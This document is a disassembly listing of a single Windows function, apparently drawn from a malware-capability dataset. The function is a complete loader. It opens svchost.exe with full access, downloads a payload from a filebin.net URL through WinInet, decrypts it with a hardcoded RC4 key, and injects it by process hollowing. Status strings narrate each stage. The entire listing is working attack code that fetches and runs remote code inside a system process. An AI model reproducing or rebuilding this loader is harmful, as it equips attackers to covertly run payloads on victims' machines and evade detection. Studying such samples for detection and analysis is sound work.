Function at 0x14000187b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call sym.__main
mov dword [rbp - 0x4c], 0
mov qword [rbp - 0x38], 0
lea rax, str.https:__filebin.net_1mtq88xt195tuvho_calc
mov qword [rbp - 0x40], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
lea rax, str.mysecretkey12345
mov rcx, rax
call sym.strlen
mov dword [rbp - 0x44], eax
mov dword [rbp - 0x2c], 0
lea rax, str.svchost.exe
mov rcx, rax
call dbg.FindProcessID
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x48]
mov r8d, eax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__Attempting_to_open_a_handle_to_the_provided_process___lu__n_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp - 0x48]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x140001962
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Could_not_open_a_handle_to_the_provided_process__error:__ld_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
mov rax, qword [rbp - 0x38]
mov r8, rax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__Successfully_opened_a_handle_to_the_provided_process._n___0x_p_n
mov rcx, rax
call sym.printf
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400019de
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Could_not_open_a_handle_to_hInet..._Error:__ld_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__Successfully_opened_a_handle_to_WinInet_n_n
mov rcx, rax
call sym.printf
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__Attempting_to_open_a_handle_to_the_payload_stage_n_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x400
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlW]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x140001a6a
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Could_not_open_a_handle_to_payload_stage_n_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
mov edx, 0x2800
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001aa6
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_allocate_memory_for_temp_buffer_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
mov rax, qword [rbp - 0x10]
mov r8, rax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__Successfully_allocated_memory_to_temp_buffer__n___0x_p_n
mov rcx, rax
call sym.printf
lea rcx, [rbp - 0x4c]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8d, 0x2800
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
jne 0x140001b15
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Could_not_read_contents_of_specified_file..._Error:__ld_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
mov eax, dword [rbp - 0x4c]
mov eax, eax
add qword [rbp - 0x18], rax
cmp qword [rbp - 8], 0
jne 0x140001b40
mov rax, qword [rbp - 0x18]
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 8], rax
jmp 0x140001b5e
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r8d, 0x42
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalReAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001b83
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_allocate_memory_for_final_buffer_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
mov eax, dword [rbp - 0x4c]
mov r8d, eax
mov eax, dword [rbp - 0x4c]
mov ecx, eax
mov rax, qword [rbp - 0x18]
sub rax, rcx
mov rdx, rax
mov rax, qword [rbp - 8]
lea rcx, [rdx + rax]
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.memcpy
mov eax, dword [rbp - 0x4c]
cmp eax, 0x27ff
jbe 0x140001bbb
jmp 0x140001ac6
nop
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__Successfully_downloaded_the_payload_n_n
mov rcx, rax
call sym.printf
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__Decrypting_downloaded_payload_n_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
mov eax, dword [rbp - 0x44]
mov r9d, ecx
mov r8, rdx
mov edx, eax
lea rax, str.mysecretkey12345
mov rcx, rax
call dbg.rc4
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__Attempting_to_hollow_the_process_and_inject_the_payload_n_n
mov rcx, rax
call sym.printf
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x38]
mov r8, rcx
mov rcx, rax
call dbg.HollowProcess
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x140001c66
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_hollow_the_process_and_inject_the_payload_n
mov rcx, rax
call sym.printf
jmp 0x140001c7f
lea rax, global___FUNCTION__.2
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__Successfully_hollowed_the_process_and_injected_the_payload_n_n
mov rcx, rax
call sym.printf
cmp qword [rbp - 8], 0
je 0x140001c96
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
cmp qword [rbp - 0x10], 0
je 0x140001cad
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
cmp qword [rbp - 0x28], 0
je 0x140001cc4
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
cmp qword [rbp - 0x20], 0
je 0x140001cdb
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
cmp qword [rbp - 0x38], 0
je 0x140001cf2
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp - 0x2c], 0
sete al
movzx eax, al
sub rsp, 0xffffffffffffff80
pop rbp
ret